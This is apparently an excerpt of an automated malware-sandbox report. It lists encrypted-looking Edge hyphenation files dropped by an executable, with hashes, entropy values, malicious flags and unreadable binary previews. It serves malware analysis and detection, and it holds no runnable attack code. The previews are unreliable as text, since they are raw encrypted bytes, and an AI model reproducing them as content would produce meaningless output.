Preview:	hy.b..6...._..+(...s..J</.1^..o.+.z........d.26...E...^.....}.bf&V..Y.Tt.p..G......E.).s....4.k...QY...B>.H...I5.=..".9a...T2....)f....E.c.mO56<D-.pA\|~......r..uko..p..A..4YN."..4...(....y.H..vhJ.f.l.=.....7.....9...w(..+...+.m...t...$..9........S...F...&E........JW.."fZ..?.i.{Z.xk.1.y.....B%0.4P..<Z.].{.U...?-.4.X..X\|.V..n.v..k.SY...0.GE5.z@.....zJ...&EO..A.J....}6!<..O..{A..m!...>.,..9068.B..eT...TG<.lnvg......2..a+Y.'h.+y...~.....9......9.4{..'....a(....d..r..H&I...fF.....'..w..YP......;%.(R...(....0....c.v.4N..J.x...{xs.+. ._n.}.,.@X..MV.....^.k.. z./S...kCZ..3c3.>WL..i.##..G.(H.2....c.@].y.xr..`..S..xx......\.r@7.......~...x..P.pBy.....".j5oJD;-nI...=..;P..0.l.?...\|:.!.\|:..{.?..q...A!.]'P....... .9,..n..?...A.M0.......V..&.r.y.>..d..3].).>)..~.&..n.......n.......v\..p.....hJ@a..S.(...-.}..S.G...5.[K.Qw{.>\f..C...O..}.Zt$.51I.eC...B.j..z..Wx..CbG.#.j.>g...s.G.9..e.'.n..h.J.kG..8..J.lC.&v.c...-......k...!....vC.p.3B0)7..XU.P.QT.<uP\.Y,

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-de-1996.hyb

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	120746
Entropy (8bit):	7.998544471127108
Encrypted:	true
SSDEEP:	3072:ln5ARZQWojfZ8n+qCbt3+bFsz6RRRiI3ORHj:t5ARZQ7jfkGbtuCekI32Hj
MD5:	CBF8973477D506CC95608A9149AD6DCB
SHA1:	C3D73B7ECFDF8DAE4E50ABFF2087C399EA5B8F53
SHA-256:	6502B60E0E69DDF8A7F936B9CD7F6A1B363D4008E8A0BAFE4241BE6E6E7D7EA7
SHA-512:	A1BE01A6524BA43DA9CC3F415F14AEE79080731655EF7CFE11E029278BE7816276044E75942F9AAA2081516B3C248D1D2B23DA27AB69CC3DBD0557D87351E500
Malicious:	true
Preview:	hy.b......z B.F..R~.`...s*..E.........1..w......_Fo.I...N6s`#...n.r.........'5s..3......G{c.~.s.....?.'1......o~.Z...t........!./..$......\|;.4......./.......".P(G)E.F.2.....u-...w@..~;...V..}Ka.cU.....<.....34P.P..l..F.g;i.9..4.vV...-N.U.........H.)...}H.!".%OG.K.....uE. ..8`O.Ww...f;)IC..d..x(.Lga..H7.]./[...........VK.i.Yd...}p.G..6UT..+....AE.?.....C..\i:$.`(........H@.5S.Z-M\|..M.Q...... '.:X...p...~N-..:.(..\|..e...t._..=O7...z.e.d..c..~..XZ...G.e....B..t...:......'...j.k.&....B.0..&Z..<..X..S.2..L(..{fv......}..F..d..Q..7.Cbbyc..k....a....I%.."..U.BJ...W.......B.,...!]y.l;..&.11..X^.DP..]."..:..?..m.. ....apG0...r....C...z..^..Z....;..#y?...P.5...hN.f..S...)&..J..{.5..Vj].....59gj.6.W.7v...%.=..d!kn7.....7..Jn_a..rG..+.._..0.0.0.o.....ijF.d:.R.......j.U\|..,.] ..+.^o{.2..7...TW.OOn..>.^...7..?...o/...Z...e{Q.........n,._.u..a.....V,....w......2...it.A.f.}c........L`..4....jrq...ZVl..T.$J...b4>..t=......W..n.-.d...6.$^.@.s.*.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-de-ch-1901.hyb

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	120552
Entropy (8bit):	7.998522363685117
Encrypted:	true
SSDEEP:	3072:lEgYBxvsWKJ0OIZjfmH0FFOla2KzMkcR9eBCxhD7nhZ7alafj4vGrZfC:lom+OBKTqTzDf/L9fC
MD5:	D7D6A9D3E97070F1B4F9CC4F6C47BB09
SHA1:	C3D0B30A19EA0B24AFBD49228BB7FA71CFF2A48F
SHA-256:	4D8900F30E65D07ED072643A081CAFC9C245C51285AB8F619E30804851FE87D0
SHA-512:	B6869D4F7C51B34C62F6A0DD42771B3ADDAD5D391B2CDA908136B67C920FE5AE9BA27741FA44ECAF7915E5B192D4C7F0EED1AD4C2B93B7380E184E1E6FED503B
Malicious:	true
Preview:	hy.b..%.a......;......A..F.....u.w.x<H.I.xU..F.i.......h.(.......i.<.N.....Q#vZ..N/.........S;.(....dz....U.Y..Q.l.........G'....b.....]..MbX.2.l]+M..Nkk.....a..V-EN.j#.7,.....zY0\...s.%...3'%...O....~.. e.4X....qp..S+..K.\..[C..[.R.IK......N`.................z.g..x../4...)x\|Q........\|.W.a...'..bS.3..E......f....n.jH......{....O2.......b....~.v...X].L.e....../..0......G.C{.t..v..n.j\|...E....T....W..~K..olV.9`.....i...g....CH.....g8T..#..w...y..u..QKE?..Z8...L......3..............@Y... .R......1E.~...=..}6>.I...6.b.f../...)r..&I.c=.=BKo.8..Hd..".]w...J..+....x.....y..b...(..1;.c.....,.t;a$..P..V+..,.......v..p...y..Q..)..NH...F...4..pk.C.....j...p..k.\|./.dL...F....`.{....>.JI...g..xj...W_.....06Z......Yi...........Q...s.....>......e..........Z.....l.CF.Tx..a.2n*.#H....;c.\|.0..T.s..C.3>/..t.{..;...&...g.&..m&.....4.9..HB-..<_/. .j.Bj.g-sbp......(...]...2b[.'..km>.;.F.\\..9CF.!.AU..k...?..jT..6rw@...S...#ZG...yGi......d(.....J...A.p

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-en-gb.hyb

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	46941
Entropy (8bit):	7.995813226659686
Encrypted:	true
SSDEEP:	768:z3lv4H26WNNd4VfGk+3/+Ce8uIiUi44q1+G4h18q+7GfSP/W+fmhQvfVPsLeSm6:rlAHd6Nd4VfUzeEijk+B18WiWMmhQyaG
MD5:	FCFD7FD38EA9CF3B4DE51015E425C5DB
SHA1:	F01F901D1E953154ADF169BC3127F0682C0D5DA6
SHA-256:	7F45F37E44AA4F01214AE2BD5FD3EB60F70C2141067907ECDE04910FF0040674
SHA-512:	97A2D45AC00DA06B139B48B27C32F986EA4885587F787AF974024C7583D69F2292A1BA004E35EDF3D0AA3F2ABD943435E7A65E2C927F4643985DA4A0759A7735
Malicious:	true
Preview:	hy.b.W...R...n....I....._?... }....!...>n....9.W.[X^w..Ls.....w;..9.1.6.%.. S..\|.I)..N.....d.<.."..T...a^.X...Lj..p.&....v~..k.r.......C.....V.r.!....[..^B3'"..D.c,....5.YL...E..&....i..f.3ZN..k.....z...;...w9gEn.Q..2.....QPDn.s.\uG....M......P.W$..rxG&.W....3.....n}.7."FL..f...@.gxVy..0...G..45. .....d..6....Y.L..V<{....q...yha.p6...}.....R.DJ.HX....t9...99.......&.T...v......uE_+..I.v.2H.......}L%.....`.......2q....\W..kb.-.0u.]\.Z............:.%.....M.b.;....E.S.N.$.u.{.k..c=...%J......E..r0.l....F..L[<r4xy0.K.pQ.rT.%...2...{.Ae.....t;..^m.p.;..............s1.sv.......sY(.>C}^..!.....".7^v.3.x.".....w}1.G._&.b.:..2.... .8.....PDF.....q.o.#...\|.3...3.A3fe1.Q..8.W_o*...(_..}.._c.....C.$..<bd....Q........d..,9.......lq..q..Y....^.~q..._.Dn....-...K...,..D"..R\...X.hZ.wE&.)l.I... 0...(.G.8.....7............{.....". O..m]D...J..5p.f.....k.L.E].;..%V=/..m.yW..KN+t........BJ.\|.f.......Pt.s.?\?$u.Z...[$..0..{FA.. ..;\|;+.PLR;...(.....W..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-en-us.hyb

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	60136
Entropy (8bit):	7.997314857035252
Encrypted:	true
SSDEEP:	1536:mW7sGJVgMUmd759kuvhjiCAhhxWty8f+DvOol:3sGJVvUw75bvhiC6fnl
MD5:	7FB54F7BE23201891204A883BD729DF9
SHA1:	828B7A973453F804252EE7E9E951C33E7E119592
SHA-256:	A91E0AAEDC8E04055C72F2216AADE8B9B3FD74450D380570A1B157DFDFD40159
SHA-512:	9FD8EE298FC04707DA39C15A45DB434391E0078A9836E41B442A76F81A28EB7758A74DBC38EBA411777B18D793CDD549F09385F796743A8E458BC413CA97FDE9
Malicious:	true
Preview:	hy.b....y...3Qu}.H.nrb,...g:...U..t.[M;....q......X.>......Ut.RJ......\|.;\`.G.Y...y...Z.&.S..>`.e............'.O7Ha.$.,..kT.vJ%}..\|l.Q./.o....D.]..=....N....Nb..Q.\|..K.F`.+...;...B..s.`5.Q...lhW?.E......r{.,#....6Iw.U.r....L..rq.l.=...M.O....TQ.-.8!pb....{ .+.;....X.`..R...f....%i.X=%=<.................O4.5..<.....L...n..>j.)....=VY.3.\|B.G.S<>..`"..A...M.%A....o&.(v..J.........JG^.\|3.xo...2.1z...T..}G,.q.2l.....M..".{y.U...NW...k)"_.9.-.(.....K.HM.....g.~p..4XD....f%....+.F.....R.w.W..`4.`.9.....0f.........fsZ#...E.Fb^.V..k..C..>.{R..s}.'6...c.v.....a.\|.......fB..F....b.vua.....O......y..'3&.#.!.j$P=3..\|......D........;.+.,i...sbl....`...'........`.).`x.....>Qx.....h.....t..%W-)Xk.8A..a...>....Zb.^XI7....fTB..$..TZ..<.r..Gs..4..1A.7K./.U..D...]...b}@.+..\|...sw.6..H9.U<HO.R...7.c.}..LP[\`.B..1i.R.A.Y.Nk...t..hA...5.>....F...X .J%.....+...}.......%..!.?V...u..j...?c(c..!.~.8...........z>..z.d...O..l.....>.K....@..;....<.,4.....eliL..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-es.hyb

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	15329
Entropy (8bit):	7.990026673276883
Encrypted:	true
SSDEEP:	384:xLjqmXOfg6kDaqUzt6wgF8w3RaDJlvcu2O32EiuTtNjffn:RjdXOfgF7UJP4Ra/cuV32QTXfn
MD5:	FB6C5CD11DB6D9A04612756615DF5F47
SHA1:	536B0749B4CB7EA53EBE7E893C9185DDB3CECE4A
SHA-256:	2CF2B8168603D9D5EAB9B5D4E1214F99A6B95A6E3E3AB31F914B3636FF872FE4
SHA-512:	B7A5C38C69DD50CB9C754FE9DBB88E23A04963BC6C00B0F46210D4EA420B86EE7879A42A2159561E0193DE5288966A00C1E7C4EEEACC760A5453A268B1BE422C
Malicious:	true
Preview:	hy.b.v.!.i......Kj..87I`.....6.J..T=...>.Q..A....k.p........X.......W1.^.l.r.O....jC....... 2u........o\|Z..5]oA.7...r:.._.vm9.....w.=..s.<+..'.H_.J[g...T.!..r...y..2.../.W<...:..e... Y.E.=..(........t.....\......m.e.#.A..b.d.3.Nl.#....e-.`W.E3.>.....cN^.#.S.G..[....Q5..W0jj..<....c._....e./......e`.X.-tnwb..RR\|..,...7'.J7}'s!ti.8$..Cc,...X...>/k..smtk.....h.+.....i L....,...45.~.....h..h.................RI......(hW..qv..<...vyP...JU..%...pP.8.Y...k.UJ.F=..<..[..\|.{.v%..-C.R.E....P..U..1......r...x..ib;o..+?...xm3."t..A....^a.3./..H.x....\|H..O4!^. g._r[...3.PR...G....P....-..........5A.m14...k.o'..J:C.&e.....M.E.]...&,.B.....`....c.;.....N...f........nj.u....;?v..^k.c..Tl...}.ZD.t..6..~.QN..$...j[....^...x.............Y.3...O....4}_...YR..>B.v.z...X.......%S.l..o...,#..X.&$....t...s..(..8..mw..P.#5< `.x1Q.L*.Z.Y.B...B..%.....!3.......-....=\|].f..l.....g..K.~nWV.nn....g..G#....}4.......W.....9.%.z..l%4.#.t.E.Y.).c.t.^jN'.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-et.hyb

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	21755
Entropy (8bit):	7.991401022388698
Encrypted:	true
SSDEEP:	384:IISX3I0BysuHeRlNwL4TP/qDfblhfD1G+YzvNMZSqdBYFJf1HKts3H/17BgpjAjf:hSX3IDsuGeOqDvD1yvN7qTb2X/176O/B
MD5:	D9B1227CE2A8B581537ED5993A336A85
SHA1:	85E3B327AA8BCAE6FC91E337FCF99C669711C680
SHA-256:	ACCE17E0E8CEF5220681DF7DE4949DD05F5F1F26907C849065FB55920A92091B
SHA-512:	1B1E3CA9CD307E704CB689164A69CF3DA1D21F7872570CD8276CD8DD472EFF66E374BB0D7DE7318EC292B0621BD31DD6B595CF940CB20D57CC00C822E0DC847C
Malicious:	true
Preview:	hy.b....u\|...o}^...!=.+4.D......k..2....C?..5..1..z....8.(...jZ.f.Q.XV.Fs.^...VK..q.tF..8..g.&.(...\|!..%~....(.cCS.Wq1~..8A......h.......r./.j u......A...XxU.....+Q;U..../....84)$e....d..+.dQ...k+.2.....Q....../.I8...%b...,...?......O..r..IR.]..3.b ..,....Ab.J....{..c.j....+$.6...1....B...=.y.%.........l..`7<Y.(......]..Je.....l..%..kQ...0B$.>...kT..viF.@3\...cR:a&{.Q4V.........R]........s.\...A}+..f.y..fG?......4^O=.VK.ge...;.%9._.7..w....w.T.^.).l...[K..M....F...5.{.< ...m..N\|k.,..\..BL..&.Na.E\|.x...2C...(.V.:c..O=..........%n.W.8.Q..7../...L.aj.\..`..k2........'....;m..+d.!...N.Cn`$...t:;.Y....ZlB.w.Nf..a$hP..Q..M..a:..]./.[.gJ.n....,*...K.Y.o.....KH...ah.b..kzZ.!...;...an.....0Q.K.....T..r...1..'a.N.8CQ...k{.1..ZxP.{?4K.bu.o..[....JO.....M.h..Y.yj....... D........m.....4F..<X...D..s...x..R[..k....2.(,{..!.. ]zu..44..7...2y.v.u..~.2.z.......}>_S^.!Q.L..1..%=B.iOG..%...f....7UZ.>..2`..........G..~...B...X".8..mPX..,C........0..w^.......6...u.xo.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-eu.hyb

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	999
Entropy (8bit):	7.786044885583948
Encrypted:	false
SSDEEP:	24:2ZYYzbQDnXefMHxYFs34JpXrsFuwPd+cLE4sie+rIJFhxu1UY6sbD:2ZOnO86zjrQ7l+cIhiuE6mD
MD5:	B17D99D99FB688993D4FDF8F23F25099
SHA1:	1861E350F42C592AB072EE3BE521B52A63710F4F
SHA-256:	7D76A0B02E035A40A9E38B2CEE58946F1F94E67D4B1861FDA209463414C49CA7
SHA-512:	2A5F1CBED3D352D34C42F57DCD9D9CD807A7FC1A58A48F10FB1F07C393555605C51BCBE4F2707938B0090B2912E5B9EBBF2018B0F82A8303E0AC28D9459BA266
Malicious:	false
Preview:	hy.b....l..1......p.19s..W.D!1U...F...we...1......?:....sAqS.=..R..8....1....$).VID.t.;.....%...R.g...M.$...:...5......iv..xd.\|yz.++.......6.M"m>Sw.~.H.........jJ[..S.n... 85....3.p........PY....p.f....A..t...Qm<......G.x_=.^....HP.o........>.m...\....5y..l....f......&u.#)..7K...E......u.M...`...%Gbr.hs.P.=...1...{........]G...%.lhWHz0.1%..Z.........c..A.@.0$.0^........,.>_WV....@..m........+.[9...c.^.+d....}@.,.,a.U..!..,t.TS.B-..Q.?&...^V.....>L.H.C......-.g.`.{k.K....q..8b...:.i...Rj..w.I...Yf)/..=.b...MSL.. =..H..l%YoT......,.7?...........B..{.....X......'...m7.7..sjG....m0.).......U...K.R4........2B:=...ZjQg...@.0r...i..3.2.E(....9S..f.L&9.t._U#!..?.C.~[.0..GO...?....g..C..Q.j...N..y..o..E.13.X9]K.N..^5.cY..z...V.s.Qo....iQ...E......f,V.-]..P.v.._...{<...R...~..5s.3L.)....Vk+yRf..._3I.g3Q@c.+....o..xup.,.../..{~.<U..p..7v.VKt..0Z....V.......`....4t..m.38Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-gu.hyb

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	989
Entropy (8bit):	7.779293686981983
Encrypted:	false
SSDEEP:	24:rsX22gsKfFY2b855z6EMt4mnY8wyA746pYa64ma5oJvHRY4fsbD:rBzrmP55GxhA74+YeolVfmD
MD5:	11713F184DCCEDE46987AD5167BD780F
SHA1:	E66EBF5D9C7E28190E6E3ABB948AA095F155918B
SHA-256:	F7A1D9A585C89B82A6721310945ED90F0BC0C38B8D861065843FAC0331C15320
SHA-512:	1EFD8F6AAC5A77791884206B6B988E6A81682323074E5A384D88903C79F59F4F8B986F7F35162E5626D7546123F5D36463752735313D860DD38AD067E150B927
Malicious:	false
Preview:	hy.b....e..rk..L..Il..]....dp.G..&..D.pH....dsk..j....#...).xh.).r........>...9}.=.lc.id\|..j..r.Q..~.y..8.^/.b4R,`.JRC... ...L.....E....0,k.6..._.....&..f}.-)9....8..s..`@..0.>Z...z2.....OL..d....8.sb..h^...6....&D....W..~m.XK....<.:.0.[....Oj(...E.L..Yx..6S.$;.!D..w.p........6.f..R...{..l7=1...tN..W9.G.X....O..c.~......$...?9.^.....#5../8ld....m\|.`.[k(..H.FI....L..X!X....L]..LB...N~..Y...$].>!..xn...?..~..mqR...R.n.~`Oq.... [V..%.D..LbW.~.....Z.(..d...\[..t..:....V.h.../V.d...>%<.....k.(.d....Q...B...D?.V....=......2....\|U.J..]$..ZV..h.m.[a...+...g.....w.`... +..!.......).Q..-..."../7p.`{./R...=,W..U..K.x.,....y..q~.Sa..D..a]A.q.T.GS.e.7 ~.t..p...........$D?...@O..f.d...t.U......M.f.hg...m.V.>CO.y.N..K{..^9.Z.<.PxR.U(..;.=UC.."#.@...@.?t.....}.......b.P......y..b:.......}.L....O..a.E..O.u.:...8...E...g......?F.s........@..#l..>..T..Y....p9.b.P..)..[........H..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-hi.hyb

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.796510055876586
Encrypted:	false
SSDEEP:	24:ZLIsa7yXcy4lkpkCn0EPFNkXR/I2UaGHBErsbD:ZM4zhpfn0ENNmqVXErmD
MD5:	8D76299C29858328551608616C4C1CE6
SHA1:	8D3FE44992D9F9CEBB842DF741CFA13926B30C45
SHA-256:	579E016D95136D75D8F5CD74EA2692032EE05F429A683D8C2BAE4E8FF1CB2389
SHA-512:	010501AE1D8A97D7AD9B14530A0318FC7B1BD995007F66D0EA11ABA681AC9BACD7E28CC9ED266EF9C7BBABC1DC52A57E636FE52F1C2229BE9E699345EAAE6A71
Malicious:	false
Preview:	hy.b....Uq&..r.D.0...X37......8..w.9e.J...d.{....@.C[.P ..y.........;.%.!TD....NP.z..KhcJ^..5B.1....C&22.d....N....S[..)S..........^...........8...\|z\|....}....=a...2x......4.Vy.`..H..6....\|Z.....chX...3...d.)TK.S.....L3.lK...GmE,...'1.8S..4.?.o.... 1.-.2....b..q.ge.k..r..Q.q..^\o..b!.w...1.Pd...mx.c..b.).V..6.P.....j.i.\|Z3...2...[82...%5..k...jyy..A.y..?..ZO...e."J.._..\|.OF.../Z..W.Z....n.AB....!f.:..I..@......-.c...S)m..J..9..=.K.S.R....h..${......U...}..~(.\D1...j..-........J.};.!...!.H..KZ..M....itZ.[1p(.o.J.7........x%x.L...O..%... ...=...X[.Q._M..l0(.h0!.,.t.....L.b...&/..fv.Uif.....<.(..:..8..>-.....9."}3@....RHF....3......J.....N..S..BEz.z.P..sE.E..$+..`}p=.).b...........4k..(otK;.E.HH)....h....-b#..GR.}....@_S._..T].{.}......LbV......C[.$..xVe.....v......I.D...5N.bZ..(.U....?&...;K........\.0...0....A^..1.1.d.<^%+c..5\..:.M.......0'hF.......)^.y.`..Z......edJf...>$......k...O/8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-hr.hyb

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3365
Entropy (8bit):	7.945072507021612
Encrypted:	false
SSDEEP:	96:aJ9D8BzStn6/m0y5T49OtG11NaJdNH/xzcLVssDq/OR+:aIBzStn6iVyIOOlHZzcN+
MD5:	21637D4D7A767237D2D15BC87E5B44A7
SHA1:	CB9E587B4EFC5D93D4B750B15F4A17686E9A271D
SHA-256:	A85F1D4520932FB716505484E91117D6E56EFA2C63189D1C9124954E36EDC515
SHA-512:	62E8124E541B97FF1E0CAFEC262010BF7B9B121A208A73CC69A609CDFDF3F61A78690D44E6DF75FC8D5E3A1EE5AEA5FC9EF7C30FF877A0078D2EE8C45F962EC7
Malicious:	false
Preview:	hy.b.u .l....UQ.@...Kd;8.>....x.....hZv.W...$.m.TM+..s\|..2....u2.....yL..............N..xU..E..$uM...P....q.8.6D3.vK...i.Y:4.....T...4.Q...NNiXJ..V........s.o......[-....H.c;t}.j....<....s U.^\C._D.EA..7...Md...T....jm....Q#@JXK.>.U..d...>m#'.ni..4.....H.3Y....Y?.w#}..Y.....6..nkRf.Q......>e...p..aq..X.N.7...m.....(.....O..^x........o1..m3.@...Fg.e.dr.....:.....0IyS>.y........M..P.B-......A...!v.v...s......).. ..U+.....b......O[...t.w.tf..1.K..V.......#.s..@....M....n.U2...E..JN.m..N.7.5g..'.k&p.%..........!.\..v.O/O..>.Z...1..;CL.%.....-,.tn..5x..v...U...^.KSIN\...!....5.}.U......w....Z..aU.LW.........5..Mv..3.2.&x`L.....,/.....J.2.kz..L.%...X.....&S...7,.[=.o..!....u....?...A........W..X5..OWL....B....v..[\..6.....S..\|.1.dN.^.P..>t9].a.&...NR..u.Xllu...F.s..'....'..Fu=..9S..Fw...H,......`7n.=3+....4.).'.^K.v.,...5...........~.H..r......\|.......(6..G..Lz.j5..l..%........;....N.eu..;......?!!DD1F...j<Ub......I5.N.qM.f;.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-hu.hyb

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	317585
Entropy (8bit):	6.890570423940078
Encrypted:	false
SSDEEP:	6144:/elkoFZrJJgFqFYSTMyc6yzRcOmpTeIrDh2ky5khBh13kwTbqgT3Gfhh4e1D:/61ZrJJCqFYaTFtuWlAh3Z
MD5:	13BA553793CA30DCE8F8C8A3C400FF08
SHA1:	A9C82EE6AB701150F72990CA61921F2DEFCD782C
SHA-256:	A699F93C9BEF0CDB13AB0A21317C7BF46FDCF812ACA568B0062F16C5CC0B9CEC
SHA-512:	8D2479B256F70E19F098CF17A9534DC3B87DCD5CE10FBD483DD5B39D924903AE3B5D13B16D3DB5B1CB0F1A11B52E5CED01921B9FD294A86B43047272F6DA89C5
Malicious:	false
Preview:	hy.b.pe.B\B...C...>..z....ks.......5...Y...P...m..K..B61<....0P1.....]\}.kKz.$..h.....`.!..d....K..b[...V.+z.H:.....F.K....m......I.....jP`2.6.....@.\..bR.ld......fbw..........=^+o..0?.X..Q.....v.x.uQ.m....4....;.........<.=.\|.~_FL..j..4....#....N........nM..}.>....#}.M........L.LX..Z.:-....<......2og...O\L.</.....,...u..HoZ.q.5S.y.F8.TO....h.M..H&.Q.#......m...\."4.!......!...t...9\......F/K..^.e..&..QOPa_U.(A2..\|7r...<...A.....>.N#.....=...K<.$x...f...F....I.....e...N.8&.......H.Q..J..&.s...N......\|].'.uG.#.e...D..^$.\6z...'.8.............b?...p.c>.T..T.&E...\|`P.;.;g..e~8.F.]...T..,.FX..q0.i...mJQ>..W..'....S.X.ys....[&........}&.t^./.2L..(...b.$9.$.<.}.e-9.;...z..R..V....~vd.u..1.....cj...Gc.,._Q...4..).P.wQew.w.V...X0....T.u.........K.zPi......i.>..Q..6h..M....a..1.Me+...,....w`0\xh...y.a..sWV@.b.3.&....v~..f.=.v/.=..........E..Du..K.$.K.}....E.M[-.........U....r..2M.&.cG.....o...."`T._..&..fP..(.plf...F....ulp..y.V

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-hy.hyb

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	7.7336381324009125
Encrypted:	false
SSDEEP:	24:jBwlDoxMWRDIGQyls0DA17Fcx+x7CnZGGPp9AF4RsbD:ulKMWRDIGBDAtGeWZGaAYmD
MD5:	8616F18CDCA09B2775CC288FFF1E28E3
SHA1:	07F03C4845700F57E2FFBD28612DE291F5A49984
SHA-256:	A0BB7C2A78BF4E0B4BE903C67C1DBD08A0DA6DEC0B51B44138B56AE799EF33BB
SHA-512:	A3821EC98C1C4F80F6DD86D2D2F13039C9C88F88739B9E1BEFF5CA5C0F82D3BEBE9F6BAA042EF03DCAA5A03339E39227EC6573CD9CFC825ACC0581DB93EC58A2
Malicious:	false
Preview:	hy.b....^...dd. A..$.2....%.oB.$. ..#.P.A.\|\..0......<[m...<s..)a.m...e.Z!>N....D......_&....9..m.^...4.._p..o.............='....K..dd..[i/gr...>..../m..q....(.2x9.B.....c FK.ex.....!.Cw.....5..NP:.a.....x.:.4...L+..uH.......+@.u.&.~..>...C.....`..\|.Gt...~D?%......S.j]..q.2.._..NOY)..A.....A.$9..n.-L.\.7..GEB.....y;T0.,...I....'r[...'..A....V7zY....9....mu;54`...Yv....a.G.`W..g..t.._h...;@C+L79.,-...L....e.S......\.....6......=.7%.A.).~"M("r.{79{..iS..c0V.........)"./..tc..Gt..g..xe}.r..b.[......W3....P7.....!....NC...V..">[...9..M........C.i...g..N.t....J.T.H...[..../.y.0.\...@..W...R....DU.t..../....1...e..w.]d>.z....K.......p..M29..:..~m3......,..:.b..b"...xy...~..& $.G.J.."..9.....aYlV...e....T..(..ws...7r3_Q..)...l...X.[d]..)....V..M. ....&.....b.....BW....z....%..wY.;.[.....od\|...4xn..X..@......b......8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-kn.hyb

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1045
Entropy (8bit):	7.82265410599193
Encrypted:	false
SSDEEP:	24:b12eA1PsBfjL27mTKrAQhNpZHxD8aJuNbX+BZuwswu/oIHdmK12QKsbD:b12P1Pi+6T+DZF8agNzsBswgoI9mK1lL
MD5:	E6075C3DAB031B1892D8669AD354233E
SHA1:	7A6B2588A92E8983F73EF59DCEEA0732C7CDE8CD
SHA-256:	5B7AE30379C869B21ECA5C14E9B7414E377807F06C0C246AE3713F2018699E68
SHA-512:	A7021DC77CDE5E4901DBFBE9EF09FB0A2E03178D840F131A6D52FB3F1092828090082A697692AB061570B3C297CA8C9743688A4B3896F5D66D74393CB8F49ED3
Malicious:	false
Preview:	hy.b..;)"0.P=u.f&R.,.-..o.a.....k....z.C..@I..,.....%..Y.\|.{.iK......8.9('.6v..bLd.H...J.....)VG...>....:g..r.F...tPwW._...5}p4.....%.%2N.6.D..._HJ.U....n}..<........g..PxcD..YX-T3...V.#.8@..ry..Zrx....@...DO.Z^z..]........<J.?.Sj6q.rW.....cp.{.~o....s..:..]..5.@%.....IWf......V...'..C...Fu...'q.NdG............V.]O.....z.g..x.M........(.NT.C{7C3.....".<..N..._...b.......{.H.~..+7H.@...+..d;..%#....r.V.>H.0.X..c".,6.u8.. .t..@..oVC..]....."..F_..S...1.hC.Jy}.c.a.....".q\\|,...).M..H....B..aEH{i[........S.g..gnuJ.)H..+....x\|L./-#....`...a.h^..........M.../Hs\k.)]z.V..n...&...J..KL...n..9.\.q..y.....I...H~....VZ..b.$.g.......,.~..l.....x.M)_...6&........,.R......U.3..F.3...\....=Z...$4.t.jx...3.%.-.Z .9..=o]2.\....U.q.R.TcR..:..$...AL,..!....!.z.OK.,....t(..c.j.27."\|?...R.........H..b....w.!...^.c.e]..^..EyU.>...;...F`...U........Q...:.-.../.jT.+...X..P.`..C.#t9..w....O.~~./w.]O.+.5.!".....Co.P2wx...].D=dP.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5Bueud

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-la.hyb

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2173
Entropy (8bit):	7.906364839749302
Encrypted:	false
SSDEEP:	48:dE9O+X4XWgsLx7pDgTN4Skmp5qXCGAuZ23foxmD:dCbXrg4poN4Hm3qzZ1+
MD5:	7A88C0299A1B76BDC189B5EEF4D1C1FA
SHA1:	339A2625E1124B151E8372F13E07DC97D2926566
